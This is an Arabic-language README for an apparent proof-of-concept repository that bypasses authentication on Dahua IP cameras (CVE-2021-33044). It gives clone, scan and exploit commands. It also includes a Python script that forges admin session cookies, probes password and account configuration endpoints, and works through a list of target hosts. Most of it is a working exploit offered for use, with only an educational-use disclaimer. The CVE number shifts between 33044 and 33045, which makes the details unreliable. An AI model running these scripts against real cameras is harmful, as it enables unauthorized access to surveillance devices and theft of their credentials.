محاكاة استغلال تجاوز المصادقة في Dahua PoC (CVE-2021-33044)

نظرة عامة

كاميرات IP من Dahua هي أجهزة إنترنت الأشياء شائعة الاستخدام في أنظمة المراقبة الأمنية. ونظرًا لانتشارها في الشبكات الداخلية أو الوصول إليها عبر الإنترنت، فإن الثغرات الأمنية في كاميرات IP قد تؤثر بشكل خطير على الخصوصية وأمن المعلومات.

CVE-2021-33045 هي ثغرة أمنية موجودة في بعض سلسلة كاميرات Dahua، تسمح بالوصول غير المصرح به إلى موارد التهيئة الداخلية دون الحاجة إلى مصادقة صالحة. تنشأ هذه الثغرة من آلية التحكم في الوصول غير المحكمة في البرنامج الثابت للجهاز.

معلومات الثغرة

السبب

تنشأ الثغرة من تصميم مصادقة غير آمن في البرنامج الثابت لكاميرات Dahua:

• لا يتحقق الخادم من الجلسة/الرمز المميز بشكل صحيح
• يثق في البيانات المرسلة من العميل
• بعض نقاط النهاية الحساسة للتكوين تتحقق فقط من وجود ملف تعريف الارتباط، ولا تتحقق من صلاحية الوصول الفعلية

هذا يسمح للمهاجم بـ:

• تزوير عملية المصادقة
• تجاوز تسجيل الدخول بالكامل

المراجع:

• NVD CVE-2021-33044
• http://seclists.org/fulldisclosure/2021/Oct/13

آلية عمل آلية تجاوز المصادقة

التدفق الطبيعي

→ يرسل العميل طلب HTTP مع ملف تعريف ارتباط عشوائي
→ تتحقق الكاميرا من ملف تعريف الارتباط على مستوى الواجهة
→ لا يتم التحقق من صحة الجلسة في النهاية الخلفية
→ يُسمح بالوصول المباشر إلى نقاط النهاية الداخلية للتكوين
→ يتم إرجاع البيانات الحساسة

السيناريو

كيفية الاستخدام

التثبيت

# استنساخ المستودع
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044

pip install requests

مسح الشبكة

# مسح الشبكة الفرعية (المنافذ مطلوبة)
python dahua_scanner.py https://example.com -p 80 8080 8800

# مضيف واحد مع منفذ
python dahua_scanner.py https://example.com

المنافذ الشائعة لـ Dahua: 80,443, 8080, 37777, 37778

استغلال الثغرة CVE

python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044  #CVE
python dahua_exploit.py --help

تجاوز المصادقة

python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com  # تفريغ الجهاز بعد التجاوز

مثال

#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()

def dump_accounts(ip, port=80):
    base = f"http://{ip}:{port}"
    cookies = {
        "userName": "admin",
        "userLevel": "1",
        "sessionID": "00000000"
    }
    urls = [
        "/current_config/passwd",
        "/current_config/Account1",
        "/current_config/UserMgr",
        "/current_config/accounts"
    ]

    for path in urls:
        try:
            r = requests.get(
                base + path,
                cookies=cookies,
                verify=False,
                timeout=8
            )
            if r.status_code == 200 and len(r.text) > 30:
                print(f"[+] {ip}:{port}  VULNERABLE → {path}")
                return
        except:
            pass

    print(f"[-] {ip}:{port}  safe / patched")

for line in open("targets.txt"):
    t = line.strip()
    if not t or t.startswith("#"):
        continue
    ip = t.split(":")[0]
    port = int(t.split(":")[1]) if ":" in t else 80
    dump_accounts(ip, port)

الشرح

• يستخدم السكريبت مكتبة requests ويقوم بتعطيل تحذيرات SSL بشكل نشط لتعطيل تحذيرات SSL

• دالة dump_accounts(ip, port=80) هي الدالة الرئيسية المسؤولة عن فحص جهاز الكاميرا. الوظيفة الرئيسية للدالة هي:

  • بناء عنوان URL من عنوان IP والمنفذ
  • محاكاة حالة تسجيل دخول المسؤول عبر ملفات تعريف الارتباط
  • إرسال الطلبات إلى نقاط النهاية الحساسة للتكوين
  • تحليل الاستجابة لتحديد ما إذا كان الجهاز متأثرًا أم لا

• محاكاة ملفات تعريف الارتباط للمصادقة. تستخدم الدالة قيم ملفات تعريف الارتباط مثل:

  • userName=admin
  • userLevel=1
  • sessionID=00000000

• في إصدارات الكاميرات المتأثرة، لا تتحقق النهاية الخلفية من sessionID الفعلي، مما يؤدي إلى اعتقاد النظام أن الطلب مرسل من حساب مسؤول صالح.

حلقة معالجة قائمة الأهداف

يقرأ السكريبت قائمة الأهداف من ملف الإدخال، ويستدعي دالة الفحص لكل جهاز بدوره. يتيح هذا الأسلوب تقييم العديد من الكاميرات بشكل تلقائي.

عملية التطوير

تم تطوير هذه السكريبتات بناءً على:

• تفاصيل CVE المنشورة من NVD
• إشعارات الأمان من Dahua
• مراجع PoC العامة (seclists.org, packetstormsecurity)

حالة الاختبار:

• تم تنفيذ منطق تجاوز المصادقة وفقًا لمواصفات CVE
• تم الاختبار بشكل محدود على الأجهزة المعرضة للخطر.

ملاحظة

هذا المشروع:

• للاستخدام التعليمي والبحثي فقط
• يُرجى تشغيله في بيئة مختبر شخصية